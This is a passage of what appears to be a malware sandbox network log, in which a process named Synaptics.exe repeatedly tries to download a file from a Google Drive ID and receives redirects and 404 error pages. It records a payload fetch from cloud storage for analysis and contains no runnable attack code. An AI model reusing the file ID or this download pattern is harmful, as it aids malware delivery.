2025-01-02 19:20:50 UTC	1250	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC7LzN0wDtTgaaGvnHjby1tQvB3uzX2v-EXIKArQknUjeVyt0BklsDjjjTGvw_cYFxnaf_ZKjwk Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:20:50 GMT Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: script-src 'report-sample' 'nonce-3Q4UXH8XC3tcOsk7tdPrwQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-02 19:20:50 UTC	140	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error
2025-01-02 19:20:50 UTC	1390	IN	Data Raw: 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 73 63 50 77 45 66 59 79 49 63 6d 5a 31 79 4e 34 76 55 72 70 54 51 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b Data Ascii: 404 (Not Found)!!1</title><style nonce="scPwEfYyIcmZ1yN4vUrpTQ">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;
2025-01-02 19:20:50 UTC	122	IN	Data Raw: 62 3e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: b> <ins>Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
117	192.168.2.8	49888	142.250.185.142	443	5500	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:20:50 UTC	345	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
2025-01-02 19:20:50 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:20:50 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-bIDGcS3uPsROLy5cXJzHgw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
118	192.168.2.8	49890	142.250.185.142	443	5500	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:20:50 UTC	345	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
2025-01-02 19:20:50 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:20:50 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-0fMzsX7_2feo_C5eiPIxQQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
119	192.168.2.8	49893	142.250.185.142	443	5500	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:20:51 UTC	345	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
2025-01-02 19:20:51 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:20:51 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: script-src 'report-sample' 'nonce-OKS4Q2j2s2YfephxpQv3-w' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
120	192.168.2.8	49895	142.250.186.33	443	5500	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:20:51 UTC	388	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
2025-01-02 19:20:51 UTC	1250	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC44HRwgY_RyHyhUubtK8eQL8l7Lqp3c5RD-uKy1_6zdR3bGhW1dSzC5x9fNgWFLEw0pLZ1tPqQ Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:20:51 GMT Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: script-src 'report-sample' 'nonce-1GCxfl7QRrqAnIuv6OVRPw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-02 19:20:51 UTC	140	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error
2025-01-02 19:20:51 UTC	1390	IN	Data Raw: 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 38 44 6b 76 74 76 68 77 49 32 45 44 78 39 69 43 67 56 30 6b 50 67 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b Data Ascii: 404 (Not Found)!!1</title><style nonce="8DkvtvhwI2EDx9iCgV0kPg">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;
2025-01-02 19:20:51 UTC	122	IN	Data Raw: 62 3e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: b> <ins>Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
121	192.168.2.8	49894	142.250.185.142	443	5500	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:20:51 UTC	345	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
2025-01-02 19:20:51 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:20:51 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-O5gLU7lGcUSVKdjVG-54tQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
122	192.168.2.8	49896	142.250.186.33	443	5500	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:20:51 UTC	388	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
2025-01-02 19:20:51 UTC	1243	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC5MDV6zHK_8MW4CeTSmAghUdzKUJJ1ygzzcf9UUXhmNUopEf6OwdyRDO7oWOTy9u_bG Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:20:51 GMT Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-JFDCOU5rfZERPCFt1L6H6A' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-02 19:20:51 UTC	147	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (No
2025-01-02 19:20:51 UTC	1390	IN	Data Raw: 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 74 47 2d 73 70 53 41 71 4f 63 4e 5a 38 72 38 58 6a 78 76 62 4b 41 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 Data Ascii: t Found)!!1</title><style nonce="tG-spSAqOcNZ8r8XjxvbKA">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding
2025-01-02 19:20:51 UTC	115	IN	Data Raw: 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: >Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
123	192.168.2.8	49899	142.250.185.142	443	5500	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:20:52 UTC	345	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
124	192.168.2.8	49901	142.250.186.33	443	5500	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:20:52 UTC	388	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
125	192.168.2.8	49900	142.250.185.142	443	5500	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:20:52 UTC	345	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
126	192.168.2.8	49902	142.250.186.33	443	5500	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:20:52 UTC	388	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
127	192.168.2.8	49903	142.250.185.142	443	5500	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:20:53 UTC	345	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
2025-01-02 19:20:53 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:20:53 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-bMcP9QxdIk6Sq-xE_6jrug' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; 